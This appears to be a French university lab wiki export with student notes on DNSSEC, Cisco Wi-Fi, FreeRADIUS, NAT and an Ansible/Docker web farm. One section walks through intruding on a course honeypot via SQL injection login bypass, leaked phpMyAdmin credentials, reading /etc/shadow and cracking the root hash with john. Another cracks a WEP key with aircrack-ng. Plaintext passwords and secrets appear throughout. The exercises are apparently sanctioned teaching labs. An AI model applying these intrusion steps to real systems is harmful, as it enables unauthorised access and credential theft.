On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55003</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55003"/>
				<updated>2020-12-18T21:43:37Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Architecture générale de la ferme */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
